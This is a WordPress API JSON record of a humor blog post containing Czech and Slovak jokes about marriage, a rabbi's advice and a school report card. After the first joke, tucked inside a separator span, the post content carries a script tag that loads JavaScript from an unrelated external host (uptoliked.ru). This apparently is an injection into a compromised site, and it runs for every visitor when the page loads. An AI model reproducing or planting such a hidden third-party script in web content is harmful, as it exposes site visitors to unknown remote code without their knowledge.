{"id":7619,"date":"2010-03-21T20:00:31","date_gmt":"2010-03-21T19:00:31","guid":{"rendered":"http:\/\/www.scmlondon.org\/?p=7619"},"modified":"2010-04-18T09:30:16","modified_gmt":"2010-04-18T08:30:16","slug":"humor-korenie-zivota","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=7619","title":{"rendered":"humor"},"content":{"rendered":"<p>Za rab\u00ednem p\u0159ijde mlad\u00fd Karpeles a pt\u00e1 se:<\/p>\n<p>\u00a0&#8222;Rabbi, m\u00e1m se o\u017eenit?&#8220; &#8222;A chce\u0161 se \u017eenit?&#8220; &#8222;No, nechci.&#8220; &#8222;Tak se ne\u017ee\u0148.&#8220;<\/p>\n<p>\u00a0&#8222;Ale tat\u00edk m\u00e1 pro m\u011b l\u00e1kavou partii.&#8220; &#8222;Tak se o\u017ee\u0148.&#8220;<\/p>\n<p>&#8222;Ale nem\u00e1 dobrou pov\u011bst&#8220; &#8222;Tak se ne\u017ee\u0148.&#8220;<\/p>\n<p>\u00a0&#8222;Ale je moc hezk\u00e1.&#8220; &#8222;Tak se o\u017ee\u0148.&#8220;<\/p>\n<p>\u00a0&#8222;Ale jej\u00ed rodina m\u011bla pletky s krimin\u00e1lem.&#8220; &#8222;Tak se ne\u017ee\u0148.&#8220;<\/p>\n<p>\u00a0&#8222;Ale daj\u00ed j\u00ed velk\u00e9 v\u011bno.&#8220; &#8222;Tak se o\u017ee\u0148.&#8220;<\/p>\n<p>\u00a0&#8222;Kdy\u017e j\u00e1, rabbi, nev\u00edm.&#8220; &#8222;Tak v\u00ed\u0161 co? Nech se pok\u0159t\u00edt.&#8220;<\/p>\n<p>\u00a0&#8222;A pro\u010d, rabbi? Pom\u016f\u017ee to?&#8220; &#8222;No hlavn\u011b bude\u0161 chodit otravovat kn\u011bze, a ne m\u011b.&#8220;<\/p>\n<p>\u00a0<span style=\"color: #99cc00;\">xxx<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/span><\/p>\n<p>\u201e\u013dudia o mne hovoria, \u017ee som flegmatik. Ale mne je to vlastne \u00faplne jedno&#8230;\u201d<\/p>\n<p>\u00a0<span style=\"color: #99cc00;\">xxx<\/span><\/p>\n<p>\u00a0Jo\u017einko ukazuje otcovi vysved\u010denie zo \u0161koly.<br \/>\n&#8211; Teda tak\u00e9to stra\u0161n\u00e9 \u010dosi som e\u0161te nevidel&#8230;<br \/>\n\u00a0&#8222;Ja tie\u017e nie&#8220;, hovor\u00ed Jo\u017einko, &#8222;v\u010dera som to na\u0161iel v krabici s tvojimi vecami&#8230;&#8220;<\/p>\n<p><span style=\"color: #99cc00;\">xxx<\/span><\/p>\n<p>\u00a0Kto sa o\u017een\u00ed, zist\u00ed \u010do je \u0161\u0165astie. Ale vtedy je u\u017e neskoro&#8230;<span id=\"_marker\">\u00a0<\/span><\/p>\n<h3>Related Images:<\/h3>","protected":false},"excerpt":{"rendered":"<p>Za rab\u00ednem p\u0159ijde mlad\u00fd Karpeles a pt\u00e1 se: \u00a0&#8222;Rabbi, m\u00e1m se o\u017eenit?&#8220; &#8222;A chce\u0161 se \u017eenit?&#8220; &#8222;No, nechci.&#8220; &#8222;Tak se ne\u017ee\u0148.&#8220; \u00a0&#8222;Ale tat\u00edk m\u00e1 pro m\u011b l\u00e1kavou partii.&#8220; &#8222;Tak se&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=7619\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[11],"tags":[],"class_list":["post-7619","post","type-post","status-publish","format-standard","hentry","category-11"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/7619","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7619"}],"version-history":[{"count":10,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/7619\/revisions"}],"predecessor-version":[{"id":8300,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/7619\/revisions\/8300"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7619"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7619"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7619"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}